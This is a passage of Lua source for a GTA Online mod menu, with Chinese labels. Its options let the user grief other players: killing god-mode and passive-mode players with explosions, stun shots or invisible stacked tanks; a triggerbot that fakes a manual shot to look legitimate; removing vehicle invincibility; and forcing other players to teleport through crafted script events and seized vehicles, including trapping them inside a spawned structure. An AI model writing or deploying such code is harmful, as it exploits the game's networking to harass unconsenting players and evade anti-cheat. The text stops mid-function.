    GTLP(antimodder, "线条", {}, "在玩家之间画一条直线", function()
        local c = ENTITY.GET_ENTITY_COORDS(players.user_ped())
        local p = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        local j = ENTITY.GET_ENTITY_COORDS(p)
        GRAPHICS.DRAW_LINE(c.x, c.y, c.z, j.x, j.y, j.z, 255, 255, 255, 255)  
    end)

    GTAC(antimodder, "交易错误", {}, "虽然不一致，但是很有效.", function()
        if SCRIPT.GET_NUMBER_OF_THREADS_RUNNING_THE_SCRIPT_WITH_THIS_HASH(util.joaat("am_destroy_veh")) == 0 then
            util.request_script_host("freemode")
            while players.get_script_host() ~= players.user() do wait() end
            local sscript = GTluaScript.ref_by_path("Online>Session>Session Scripts>Run Script>Removed Freemode Activities>Destroy Vehicle")
            menu.trigger_command(sscript)
            while SCRIPT.GET_NUMBER_OF_THREADS_RUNNING_THE_SCRIPT_WITH_THIS_HASH(util.joaat("am_destroy_veh")) == 0 do
                wait(1000)
            end
        end
        local blip = HUD.GET_FIRST_BLIP_INFO_ID(225) == 0 and 348 or 225
        local coords = get_blip_coords(blip)
        local explodeTargetVeh = function()
            ENTITY.FREEZE_ENTITY_POSITION(players.user_ped(), true)
            local handle = PED.IS_PED_IN_ANY_VEHICLE(players.user_ped(), false) and PED.GET_VEHICLE_PED_IS_IN(players.user_ped(), false) or players.user_ped()
            local oldPos = ENTITY.GET_ENTITY_COORDS(players.user_ped(), false)
            ENTITY.SET_ENTITY_COORDS(handle, coords.x, coords.y + 20, coords.z, false, false, false, false)
            wait(1000)
            coords = get_blip_coords(blip)
            FIRE.ADD_OWNED_EXPLOSION(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(player_id), coords.x, coords.y, coords.z, 4, 50, false, true, 0.0)
            handle = PED.IS_PED_IN_ANY_VEHICLE(players.user_ped(), false) and PED.GET_VEHICLE_PED_IS_IN(players.user_ped(), false) or players.user_ped()
            wait(1000)
            ENTITY.SET_ENTITY_COORDS(handle, oldPos.x, oldPos.y, oldPos.z, false, false, false, false)
            ENTITY.FREEZE_ENTITY_POSITION(players.user_ped(), false)
            FIRE.ADD_OWNED_EXPLOSION(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(player_id), coords.x, coords.y, coords.z, 4, 50, false, true, 0.0)
        end
        if coords.x ~= 0 and coords.y ~= 0 and coords.z ~= 0 then
            explodeTargetVeh()
        else
            wait(2500)
            coords = get_blip_coords(blip)
            while coords.x == 0 do
                coords = get_blip_coords(blip)
                wait()
            end
            explodeTargetVeh()
        end
    end)

    GTAC(kill_godmode, "击杀无敌玩家", {""}, "被大多数菜单拦截", function()
        local ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        local pos = ENTITY.GET_ENTITY_COORDS(ped)
        MISC.SHOOT_SINGLE_BULLET_BETWEEN_COORDS(pos.x, pos.y, pos.z + 1, pos.x, pos.y, pos.z, 99999, true, util.joaat("weapon_stungun"), players.user_ped(), false, true, 1.0)
    end)

    GTluaScript.slider_text(kill_godmode, "压死无敌玩家", {}, "", {"Khanjali", "APC"}, function(index, veh)
        local player = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        local pos = ENTITY.GET_ENTITY_COORDS(player)
        local vehicle = util.joaat(veh)
        request_model(vehicle)

        pluto_switch veh do
            case "Khanjali":
            height = 2.8
            offset = 0
            break
            case "APC":
            height = 3.4
            offset = -1.5
            break
        end

        if TASK.IS_PED_STILL(player) then
            distance = 0
        elseif not TASK.IS_PED_STILL(player) then
            distance = 3
        end

        local vehicle1 = entities.create_vehicle(vehicle, ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid), offset, distance, height), ENTITY.GET_ENTITY_HEADING(player))
        local vehicle2 = entities.create_vehicle(vehicle, pos, 0)
        local vehicle3 = entities.create_vehicle(vehicle, pos, 0)
        local vehicle4 = entities.create_vehicle(vehicle, pos, 0)
        local spawned_vehs = {vehicle4, vehicle3, vehicle2, vehicle1}
        for i = 1, #spawned_vehs do
            NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(spawned_vehs[i])
        end
        ENTITY.ATTACH_ENTITY_TO_ENTITY(vehicle2, vehicle1, 0, 0, 3, 0, 0, 0, -180, 0, false, true, false, 0, true)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(vehicle3, vehicle1, 0, 3, 3, 0, 0, 0, -180, 0, false, true, false, 0, true)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(vehicle4, vehicle1, 0, 3, 0, 0, 0, 0, 0, 0, false, true, false, 0, true)
        ENTITY.SET_ENTITY_VISIBLE(vehicle1, false)
        wait(5000)
        for i = 1, #spawned_vehs do
            entities.delete_by_handle(spawned_vehs[i])
        end
    end)

    player_toggle_loop(kill_godmode, pid, "炸死无敌玩家", {}, "被大多数菜单拦截", function()
        local ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        local pos = ENTITY.GET_ENTITY_COORDS(ped)
        if not PED.IS_PED_DEAD_OR_DYING(ped) and not NETWORK.NETWORK_IS_PLAYER_FADING(pid) then
            menu.trigger_commands("kill".. PLAYER.GET_PLAYER_NAME(PlayerID))
            FIRE.ADD_OWNED_EXPLOSION(players.user_ped(), pos.x, pos.y, pos.z, 2, 50, true, false, 0.0)
        end
    end)

    GTAC(kill_godmode, "眩晕爆炸", {"stun"}, "", function()
        local ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        local pos = ENTITY.GET_ENTITY_COORDS(ped)
        MISC.SHOOT_SINGLE_BULLET_BETWEEN_COORDS(pos.x, pos.y, pos.z + 1, pos.x, pos.y, pos.z, 99999, true, util.joaat("weapon_stungun"), players.user_ped(), false, true, 1.0)
    end)

    GTAC(kill_godmode, "实名眩晕", {"ownedstun"}, "对开启实体防护的无敌玩家起作用\n对无敌玩家的恶搞效果也很好", function()
        local pos = players.get_position(pid)
        MISC.SHOOT_SINGLE_BULLET_BETWEEN_COORDS(pos.x, pos.y, pos.z + 1, pos.x, pos.y, pos.z, 1000, true, util.joaat("weapon_stungun"), players.user_ped(), false, true, 1.0)
    end)

    GTAC(kill_godmode, "匿名眩晕", {"anonstun"}, "对开启实体防护的无敌玩家起作用\n对无敌玩家的恶搞效果也很好", function()
        local ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        local pos = players.get_position(pid)
        MISC.SHOOT_SINGLE_BULLET_BETWEEN_COORDS(pos.x, pos.y, pos.z + 1, pos.x, pos.y, pos.z, 1000, true, util.joaat("weapon_stungun"), false, false, true, 1.0)
    end)

    GTAC(kill_godmode, "杀死无敌玩家", {"squish"}, "压垮玩家直到它们死去\n注意：如果目标正在使用无布娃娃则不起作用", function()
        local ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        local pos = ENTITY.GET_ENTITY_COORDS(ped)
        local khanjali = util.joaat("khanjali")
        request_model(khanjali)

        if TASK.IS_PED_STILL(ped) then
            distance = 0.0
        elseif not TASK.IS_PED_STILL(ped) then
            distance = 2.0
        end

        local vehicle1 = entities.create_vehicle(khanjali, ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(ped, 0.0, distance, 2.8), ENTITY.GET_ENTITY_HEADING(ped))
        local vehicle2 = entities.create_vehicle(khanjali, pos, 0)
        local vehicle3 = entities.create_vehicle(khanjali, pos, 0)
        local vehicle4 = entities.create_vehicle(khanjali, pos, 0)
        local spawned_vehs = {vehicle1, vehicle2, vehicle3, vehicle4}
        ENTITY.ATTACH_ENTITY_TO_ENTITY(vehicle2, vehicle1, 0.0, 0.0, 3.0, 0.0, 0.0, 0.0, -180.0, 0, false, true, false, 0, true)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(vehicle3, vehicle1, 0.0, 3.0, 3.0, 0.0, 0.0, 0.0, -180.0, 0, false, true, false, 0, true)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(vehicle4, vehicle1, 0.0, 3.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, false, true, false, 0, true)
        ENTITY.SET_ENTITY_VISIBLE(vehicle1, false)
        wait(5000)
        for i = 1, #spawned_vehs do
            entities.delete_by_handle(spawned_vehs[i])
        end
    end)
    
    aimbor = player_toggle_loop(kill_godmode, pid, "玩家自动扳机", {"triggerbot"}, "瞄准玩家开启自动射击", function()
        if pid == players.user() then 
            util.toast(lang.get_localised(-1974706693)) 
            aimbor.value = false
        util.stop_thread() end
        local ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        local wpn = WEAPON.GET_SELECTED_PED_WEAPON(players.user_ped())
        local dmg = SYSTEM.ROUND(WEAPON.GET_WEAPON_DAMAGE(wpn, 0))
        local delay = WEAPON.GET_WEAPON_TIME_BETWEEN_SHOTS(wpn)
        local wpnEnt = WEAPON.GET_CURRENT_PED_WEAPON_ENTITY_INDEX(PLAYER.PLAYER_PED_ID(), false)
        local wpnCoords = ENTITY.GET_ENTITY_BONE_POSTION(wpnEnt, ENTITY.GET_ENTITY_BONE_INDEX_BY_NAME(wpnEnt, "gun_muzzle"))
        if ENTITY.GET_ENTITY_ALPHA(ped) < 255 then return end
        if PLAYER.IS_PLAYER_FREE_AIMING_AT_ENTITY(players.user(), ped) and not PED.IS_PED_RELOADING(players.user_ped()) then
            boneIndex = bones[math.random(#bones)]
            local pos = PED.GET_PED_BONE_COORDS(ped, boneIndex, 0.0, 0.0, 0.0)
            MISC.SHOOT_SINGLE_BULLET_BETWEEN_COORDS(wpnCoords, pos, dmg, true, wpn, players.user_ped(), true, false)
            PAD.SET_CONTROL_VALUE_NEXT_FRAME(0, 24, 1.0) -- shooting manually after so it has the effect of you shooting to seem more legit despite there being nothing legit about this
            wait(delay * 1000)
        end
    end)

    menu.toggle(kill_godmode, "移除玩家无敌", {}, "", function (f)
        if f then
        menu.trigger_commands("confuse".. PLAYER.GET_PLAYER_NAME(PlayerID))
        else
            menu.trigger_commands("confuse".. PLAYER.GET_PLAYER_NAME(PlayerID))
        end
    end)

    player_toggle_loop(kill_godmode, pid, "移除载具无敌", {"removevgm"}, "", function()
        local ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        if PED.IS_PED_IN_ANY_VEHICLE(ped, false) and not PED.IS_PED_DEAD_OR_DYING(ped) then
            local veh = PED.GET_VEHICLE_PED_IS_IN(ped, false)
            ENTITY.SET_ENTITY_CAN_BE_DAMAGED(veh, true)
            ENTITY.SET_ENTITY_INVINCIBLE(veh, false)
            ENTITY.SET_ENTITY_PROOFS(veh, false, false, false, false, false, 0, 0, false)
        end
    end)

    GTAC(kill_godmode, "杀死被动模式玩家", {}, "", function()
        local coords = players.get_position(pid)
        local playerPed = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        coords.z = coords.z + 5
        local playerCar = PED.GET_VEHICLE_PED_IS_IN(playerPed, false)
        if playerCar > 0 then
            entities.delete_by_handle(playerCar)
        end
        local carHash = util.joaat("dukes2")
        loadModel(carHash)
        local car = entities.create_vehicle(carHash, coords, 0)
        ENTITY.SET_ENTITY_VISIBLE(car, false, 0)
        ENTITY.APPLY_FORCE_TO_ENTITY(car, 1, 0.0, 0.0, -65, 0.0, 0.0, 0.0, 1, false, true, true, true, true)
    end)

	GTAC(kill_godmode, "无敌模式击杀V1", {"killgod"}, "", function()
		menu.trigger_commands("confuse" .. PLAYER.GET_PLAYER_NAME(pid))
		menu.trigger_commands("explodeloop" .. PLAYER.GET_PLAYER_NAME(pid))
    	end, nil, nil, COMMANDPERM_AGGRESSIVE)

    GTAC(kill_godmode, "无敌模式击杀V2", {"killgodv2"}, "Note: this will not work if they have no ragdoll on", function()
        local id = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        local playerpos = ENTITY.GET_ENTITY_COORDS(id)
        playerpos.z = playerpos.z + 3

        local khanjali = util.joaat("khanjali")
        STREAMING.REQUEST_MODEL(khanjali)
        while not STREAMING.HAS_MODEL_LOADED(khanjali) do
            wait()
        end

        local vehicle1 = entities.create_vehicle(khanjali, ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(PLAYER.GET_PLAYER_PED(pid), 0, 2, 3), ENTITY.GET_ENTITY_HEADING(id))
        local vehicle2 = entities.create_vehicle(khanjali, playerpos, 0)
        local vehicle3 = entities.create_vehicle(khanjali, playerpos, 0)
        local vehicle4 = entities.create_vehicle(khanjali, playerpos, 0)

        NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(vehicle1)
        NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(vehicle2)
        NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(vehicle3)
        NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(vehicle4)

        ENTITY.ATTACH_ENTITY_TO_ENTITY(vehicle2, vehicle1, 0, 0, 3, 0, 0, 0, -180, 0, false, true, false, 0, true)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(vehicle3, vehicle1, 0, 3, 3, 0, 0, 0, -180, 0, false, true, false, 0, true)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(vehicle4, vehicle1, 0, 3, 0, 0, 0, 0, 0, 0, false, true, false, 0, true)
        ENTITY.SET_ENTITY_VISIBLE(vehicle1, false)
        wait(1200)
        entities.delete_by_handle(vehicle1)
    end, nil, nil, COMMANDPERM_AGGRESSIVE)

    GTAC(kill_godmode, "强制击杀", {""}, "强制杀死无敌玩家\n被大多数菜单拦截", function(on)
        local p_ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)

        for _, v_ptr in pairs(entities.get_all_vehicles_as_pointers()) do 
            local v_pos = entities.get_position(v_ptr)
            if v3.distance(ENTITY.GET_ENTITY_COORDS(p_ped), v_pos) < 200 then
                ENTITY.SET_ENTITY_HEALTH(entities.pointer_to_handle(v_ptr), 0.0)
                FIRE.ADD_EXPLOSION(v_pos.x, v_pos.y, v_pos.z, 17, 1.0, true, false, 100.0, false)
            end
        end

        for _, p_ptr in pairs(entities.get_all_peds_as_pointers()) do 
            local p_pos = entities.get_position(p_ptr)
            if v3.distance(ENTITY.GET_ENTITY_COORDS(p_ped), p_pos) < 200 then 
                ENTITY.SET_ENTITY_HEALTH(entities.pointer_to_handle(p_ptr), 0.0)
                FIRE.ADD_EXPLOSION(p_pos.x, p_pos.y, p_pos.z, 17, 1.0, true, false, 100.0, false)
            end
        end

        local c = players.get_position(pid)
         FIRE.ADD_EXPLOSION(c.x, c.y, c.z, 82, 1.0, true, false, 100.0, false)

        for _, v_ptr in pairs(entities.get_all_objects_as_pointers()) do 
            local o_pos = entities.get_position(v_ptr)
            if v3.distance(ENTITY.GET_ENTITY_COORDS(p_ped), o_pos) < 20 then
                FIRE.ADD_EXPLOSION(o_pos.x, o_pos.y, o_pos.z, 17, 1.0, false, true, 0.0, false)
                wait(10)
            end
        end

    end)

GTAC(antimodder, "网络事件阻止", {}, "向载具内的玩家发送接管请求\n若被阻止则会触发Stand的检测\n但是其他作弊者也会检测到您", function()
    for _, pid in ipairs(players.list(false, true, true)) do
        local playerPed = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        local playerVehicle = PED.GET_VEHICLE_PED_IS_IN(playerPed, false)
        NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(playerVehicle)
    end
end)
	
    GTAC(playerMain, "复制名称", {''}, "", function(state)
    local r_id = PLAYER.GET_PLAYER_NAME(pid)
    util.copy_to_clipboard(r_id)
    end)

    GTAC(playerMain, "复制RID", {''}, "", function(state)
    local rid = players.get_rockstar_id(pid)
    util.copy_to_clipboard(rid)
    end)

    local tp_player = GT(pteleportEntities, "传送玩家到...", {}, "")
    local tp_player_list = GT(tp_player, "开放地点", {}, "")
    local clubhouse = GT(tp_player, "摩托帮会所", {}, "")
    local facility = GT(tp_player, "设施", {}, "")
    local warehouse = GT(tp_player, "仓库", {}, "")
    local arcade = GT(tp_player, "游戏厅", {}, "")
    local cayoperico = GT(tp_player, "传送邀请", {}, "")

    local teleports = {
        {name=("花园银行塔"),pos=v3.new(-75.261375,-818.674,326.17517)},
        {name=("乞力耶德山"),pos=v3.new(492.30,5589.44,794.28)},
        {name=("深海"),pos=v3.new(4497.2207,8028.3086,-32.635174)},
        {name=("偏远水面"),pos=v3.new(1503.0942,8746.0700,0)},
        {name=("监狱"),pos=v3.new(1737.1896,2634.897,45.56497)},
        {name=("洛圣都国际机场"),pos=v3.new(-1335.6514,-3044.2737,13.944447)},
        {name=("太空"),pos=v3.new(-191.53212,-897.53015,2600.00000)},
    }

    for i, data in teleports do
        GTAC(tp_player_list, data.name, {}, "", function()
            local vehicle = control_vehicle(pid, false, function(vehicle)
                ENTITY.SET_ENTITY_COORDS_NO_OFFSET(vehicle, data.pos.x, data.pos.y, data.pos.z, false, false, false)
                util.toast("搞定")
            end)
            
            if not vehicle then
                local target_ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
                local is_spectating = menu.ref_by_command_name("spectate" .. players.get_name(pid):lower()).value
                util.trigger_script_event(1 << pid, {891653640, PLAYER.PLAYER_ID(), 1, 32, NETWORK.NETWORK_HASH_FROM_PLAYER_HANDLE(pid), 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1})
                util.yield(1000)
    
                if not is_spectating then
                    menu.trigger_commands("spectate" .. players.get_name(pid) .. " on")
                    util.toast("请稍后")
                end
                util.yield(8000)
    
                local mc_bike = ent_func.get_vehicle_from_ped(target_ped)
                local loop = 30
                while mc_bike == 0 and loop > 0 do
                    util.yield(100)
                    mc_bike = ent_func.get_vehicle_from_ped(target_ped)
                    loop = loop - 1
                end
    
                if mc_bike > 0 then
                    ent_func.get_entity_control(mc_bike)
                    ENTITY.SET_ENTITY_COORDS_NO_OFFSET(mc_bike, data.pos.x, data.pos.y, data.pos.z, false, false, false)
                    util.toast("搞定")
                end
    
                util.yield(2000)
                if not is_spectating then
                    menu.trigger_commands("spectate" .. players.get_name(pid) .. " off")
                end
            end
        end)
    end

    local wallbr = util.joaat("bkr_prop_biker_bblock_mdm3")
    local floorbr = util.joaat("bkr_prop_biker_landing_zone_01")
    GTAC(tp_player, "传送到后室(车内有效)", {}, "#后室: 外网盛传的阴间故事建筑\n#若该玩家在载具内请使用该选项\n#此功能会将玩家带入虚空后室内", function()
        local p = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        local c = ENTITY.GET_ENTITY_COORDS(p, true)
        local defx = c.x
        local defy = c.y 
        local defz = c.z
        local veh = PED.GET_VEHICLE_PED_IS_IN(p, true)
        if PED.IS_PED_IN_ANY_VEHICLE(p, false) then
            STREAMING.REQUEST_MODEL(floorbr)
            while not STREAMING.HAS_MODEL_LOADED(floorbr) do
                STREAMING.REQUEST_MODEL(floorbr)
                wait()
            end
            STREAMING.REQUEST_MODEL(wallbr)
            while not STREAMING.HAS_MODEL_LOADED(wallbr) do
                STREAMING.REQUEST_MODEL(wallbr)
                wait()
            end
            RequestControl(veh)
            local success, floorcoords
            repeat
                success, floorcoords = util.get_ground_z(c.x, c.y)
                wait()
            until success
            c.z = floorcoords - 100
            ENTITY.SET_ENTITY_COORDS(veh, c.x, c.y, c.z, false, false, false, false)
            local c = ENTITY.GET_ENTITY_COORDS(p)
            local defz = c.z
            c.z = defz - 2
            local spawnedfloorbr = entities.create_object(floorbr, c)
            c.z = c.z + 10
            local spawnedroofbr = entities.create_object(floorbr, c)
            ENTITY.SET_ENTITY_ROTATION(spawnedroofbr, 180.0, 0.0, 0.0, 1, true)
            defz = c.z - 5
            c.x = c.x + 4
            c.z = defz
            local spawnedwall = entities.create_object(wallbr, c)
            ENTITY.SET_ENTITY_ROTATION(spawnedwall, 0.0, 90.0, 0.0, 1, true)
            OBJECT.SET_OBJECT_TINT_INDEX(spawnedwall, 7)
            c.x = c.x - 8
            local spawnedwall = entities.create_object(wallbr, c)
            ENTITY.SET_ENTITY_ROTATION(spawnedwall, 0.0, 90.0, 0.0, 1, true)
            OBJECT.SET_OBJECT_TINT_INDEX(spawnedwall, 7)
            c.y = c.y - 8
            c.x = defx + 10.5
            local spawnedwall = entities.create_object(wallbr, c)
            ENTITY.SET_ENTITY_ROTATION(spawnedwall, 90.0, 90.0, 0.0, 1, true)
            OBJECT.SET_OBJECT_TINT_INDEX(spawnedwall, 7)
            local spawnedwall = entities.create_object(wallbr, c)
            ENTITY.SET_ENTITY_ROTATION(spawnedwall, 0.0, 90.0, 0.0, 1, true)
            OBJECT.SET_OBJECT_TINT_INDEX(spawnedwall, 7)
            c.y = c.y - 14.5
            local spawnedwall = entities.create_object(wallbr, c)
            ENTITY.SET_ENTITY_ROTATION(spawnedwall, 0.0, 90.0, 0.0, 1, true)
            OBJECT.SET_OBJECT_TINT_INDEX(spawnedwall, 7)
            c.y = c.y - 7.2
            c.x = defx + 3.5
            local spawnedwall = entities.create_object(wallbr, c)
            ENTITY.SET_ENTITY_ROTATION(spawnedwall, 90.0, 90.0, 0.0, 1, true)
            OBJECT.SET_OBJECT_TINT_INDEX(spawnedwall, 7)
            c.y = defy + 6.5
            c.x = defx + 11
            local spawnedwall = entities.create_object(wallbr, c)
            ENTITY.SET_ENTITY_ROTATION(spawnedwall, 90.0, 90.0, 0.0, 1, true)
            OBJECT.SET_OBJECT_TINT_INDEX(spawnedwall, 7)
            c.x = defx - 12
            c.y = defy + 4
            local spawnedwall = entities.create_object(wallbr, c)
            ENTITY.SET_ENTITY_ROTATION(spawnedwall, 90.0, 90.0, 0.0, 1, true)
            OBJECT.SET_OBJECT_TINT_INDEX(spawnedwall, 7)
            c.y = defy - 7
            local spawnedwall = entities.create_object(wallbr, c)
            ENTITY.SET_ENTITY_ROTATION(spawnedwall, 90.0, 90.0, 0.0, 1, true)
            OBJECT.SET_OBJECT_TINT_INDEX(spawnedwall, 7)
            c.y = c.y - 10
            local spawnedwall = entities.create_object(wallbr, c)
            ENTITY.SET_ENTITY_ROTATION(spawnedwall, 90.0, 90.0, 0.0, 1, true)
            OBJECT.SET_OBJECT_TINT_INDEX(spawnedwall, 7)
            c.y = c.y - 7
            local spawnedwall = entities.create_object(wallbr, c)
            ENTITY.SET_ENTITY_ROTATION(spawnedwall, 0.0, 90.0, 0.0, 1, true)
            OBJECT.SET_OBJECT_TINT_INDEX(spawnedwall, 7)
            c.y = defy - 10
            c.x = defx - 19
            local spawnedwall = entities.create_object(wallbr, c)
            ENTITY.SET_ENTITY_ROTATION(spawnedwall, 0.0, 90.0, 0.0, 1, true)
            OBJECT.SET_OBJECT_TINT_INDEX(spawnedwall, 7)
            c.x = defx - 3
            c.y = defy + 6.5
            local spawnedwall = entities.create_object(wallbr, c)
            ENTITY.SET_ENTITY_ROTATION(spawnedwall, 90.0, 90.0, 0.0, 1, true)
            OBJECT.SET_OBJECT_TINT_INDEX(spawnedwall, 7)
            c.x = defx + 25
            local spawnedwall = entities.create_object(wallbr, c)
            ENTITY.SET_ENTITY_ROTATION(spawnedwall, 90.0, 90.0, 0.0, 1, true)
            OBJECT.SET_OBJECT_TINT_INDEX(spawnedwall, 7)
            c.x = c.x + 7
            c.y = defy
            local spawnedwall = entities.create_object(wallbr, c)
            ENTITY.SET_ENTITY_ROTATION(spawnedwall, 0.0, 90.0, 0.0, 1, true)
            OBJECT.SET_OBJECT_TINT_INDEX(spawnedwall, 7)
            c.y = defy - 14.5
            local spawnedwall = entities.create_object(wallbr, c)
            ENTITY.SET_ENTITY_ROTATION(spawnedwall, 0.0, 90.0, 0.0, 1, true)
            OBJECT.SET_OBJECT_TINT_INDEX(spawnedwall, 7)
            c.y = c.y - 7
            c.x = c.x - 7
            local spawnedwall = entities.create_object(wallbr, c)
            ENTITY.SET_ENTITY_ROTATION(spawnedwall, 90.0, 90.0, 0.0, 1, true)
            OBJECT.SET_OBJECT_TINT_INDEX(spawnedwall, 7)
            c.y = c.y - 7
            local spawnedwall = entities.create_object(wallbr, c)
            ENTITY.SET_ENTITY_ROTATION(spawnedwall, 0.0, 90.0, 0.0, 1, true)
            OBJECT.SET_OBJECT_TINT_INDEX(spawnedwall, 7)
            c.y = c.y - 7
            c.x = c.x - 7.5
            local spawnedwall = entities.create_object(wallbr, c)
            ENTITY.SET_ENTITY_ROTATION(spawnedwall, 90.0, 90.0, 0.0, 1, true)
            OBJECT.SET_OBJECT_TINT_INDEX(spawnedwall, 7)
            c.x = c.x - 6.5
            c.y = c.y - 6.5
            local spawnedwall = entities.create_object(wallbr, c)
            ENTITY.SET_ENTITY_ROTATION(spawnedwall, 0.0, 90.0, 0.0, 1, true)
            OBJECT.SET_OBJECT_TINT_INDEX(spawnedwall, 7)
            c.x = c.x - 7.5
            c.y = c.y - 7
            local spawnedwall = entities.create_object(wallbr, c)
            ENTITY.SET_ENTITY_ROTATION(spawnedwall, 90.0, 90.0, 0.0, 1, true)
            OBJECT.SET_OBJECT_TINT_INDEX(spawnedwall, 7)
            c.x = c.x - 14
            local spawnedwall = entities.create_object(wallbr, c)
            ENTITY.SET_ENTITY_ROTATION(spawnedwall, 90.0, 90.0, 0.0, 1, true)
            OBJECT.SET_OBJECT_TINT_INDEX(spawnedwall, 7)
            local spawnedwall = entities.create_object(wallbr, c)
            ENTITY.SET_ENTITY_ROTATION(spawnedwall, 0.0, 90.0, 0.0, 1, true)
            OBJECT.SET_OBJECT_TINT_INDEX(spawnedwall, 7)
            c.x = c.x - 6.5
            c.y = c.y + 7
            local spawnedwall = entities.create_object(wallbr, c)
            ENTITY.SET_ENTITY_ROTATION(spawnedwall, 0.0, 90.0, 0.0, 1, true)
            OBJECT.SET_OBJECT_TINT_INDEX(spawnedwall, 7)
            c.x = c.x - 7.5
            local spawnedwall = entities.create_object(wallbr, c)
            ENTITY.SET_ENTITY_ROTATION(spawnedwall, 90.0, 90.0, 0.0, 1, true)
            OBJECT.SET_OBJECT_TINT_INDEX(spawnedwall, 7)
            c.x = c.x - 6.5
            c.y = c.y + 7
            local spawnedwall = entities.create_object(wallbr, c)
            ENTITY.SET_ENTITY_ROTATION(spawnedwall, 0.0, 90.0, 0.0, 1, true)
            OBJECT.SET_OBJECT_TINT_INDEX(spawnedwall, 7)
            c.y = c.y + 14
            local spawnedwall = entities.create_object(wallbr, c)
            ENTITY.SET_ENTITY_ROTATION(spawnedwall, 0.0, 90.0, 0.0, 1, true)
            OBJECT.SET_OBJECT_TINT_INDEX(spawnedwall, 7)
            local spawnedwall = entities.create_object(wallbr, c)
            ENTITY.SET_ENTITY_ROTATION(spawnedwall, 90.0, 90.0, 0.0, 1, true)
            OBJECT.SET_OBJECT_TINT_INDEX(spawnedwall, 7)
            c.y = c.y + 14
            local spawnedwall = entities.create_object(wallbr, c)
            ENTITY.SET_ENTITY_ROTATION(spawnedwall, 0.0, 90.0, 0.0, 1, true)
            OBJECT.SET_OBJECT_TINT_INDEX(spawnedwall, 7)
            c.y = c.y + 14
            local spawnedwall = entities.create_object(wallbr, c)
            ENTITY.SET_ENTITY_ROTATION(spawnedwall, 0.0, 90.0, 0.0, 1, true)
            OBJECT.SET_OBJECT_TINT_INDEX(spawnedwall, 7)
            c.y = c.y - 3.1
            c.x = c.x + 5
            local spawnedwall = entities.create_object(wallbr, c)
            ENTITY.SET_ENTITY_ROTATION(spawnedwall, 90.0, 90.0, 0.0, 1, true)
            OBJECT.SET_OBJECT_TINT_INDEX(spawnedwall, 7)
            wait(600)
            TASK.CLEAR_PED_TASKS_IMMEDIATELY(p)
            wait(500)
            entities.delete_by_handle(veh)
        else
            util.toast("目标不在载具内")
        end
    end)

    GTAC(tp_player, "生成后室在TA的位置", {}, "#后室: 外网盛传的阴间故事建筑\n#在该玩家的附近范围内生成后室\n#此功能可能受玩家周围地形影响", function()
        local p = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        local c = ENTITY.GET_ENTITY_COORDS(p, true)
        local defx = c.x
        local defy = c.y 
        local defz = c.z
            STREAMING.REQUEST_MODEL(floorbr)
            while not STREAMING.HAS_MODEL_LOADED(floorbr) do
                STREAMING.REQUEST_MODEL(floorbr)
                wait()
            end
            STREAMING.REQUEST_MODEL(wallbr)
            while not STREAMING.HAS_MODEL_LOADED(wallbr) do
                STREAMING.REQUEST_MODEL(wallbr)
                wait()
            end
            local success, floorcoords
            repeat
                success, floorcoords = util.get_ground_z(c.x, c.y)
                wait()
            until success
            c.z = floorcoords - 100
            ENTITY.SET_ENTITY_COORDS(veh, c.x, c.y, c.z, false, false, false, false)
            local c = ENTITY.GET_ENTITY_COORDS(p)
            local defz = c.z
            c.z = defz - 2
            local spawnedfloorbr = entities.create_object(floorbr, c)
            c.z = c.z + 10
            local spawnedroofbr = entities.create_object(floorbr, c)
            ENTITY.SET_ENTITY_ROTATION(spawnedroofbr, 180.0, 0.0, 0.0, 1, true)
            defz = c.z - 5
            c.x = c.x + 4
            c.z = defz
            local spawnedwall = entities.create_object(wallbr, c)
            ENTITY.SET_ENTITY_ROTATION(spawnedwall, 0.0, 90.0, 0.0, 1, true)
            OBJECT.SET_OBJECT_TINT_INDEX(spawnedwall, 7)
            c.x = c.x - 8
            local spawnedwall = entities.create_object(wallbr, c)
            ENTITY.SET_ENTITY_ROTATION(spawnedwall, 0.0, 90.0, 0.0, 1, true)
            OBJECT.SET_OBJECT_TINT_INDEX(spawnedwall, 7)
            c.y = c.y - 8
            c.x = defx + 10.5
            local spawnedwall = entities.create_object(wallbr, c)
            ENTITY.SET_ENTITY_ROTATION(spawnedwall, 90.0, 90.0, 0.0, 1, true)
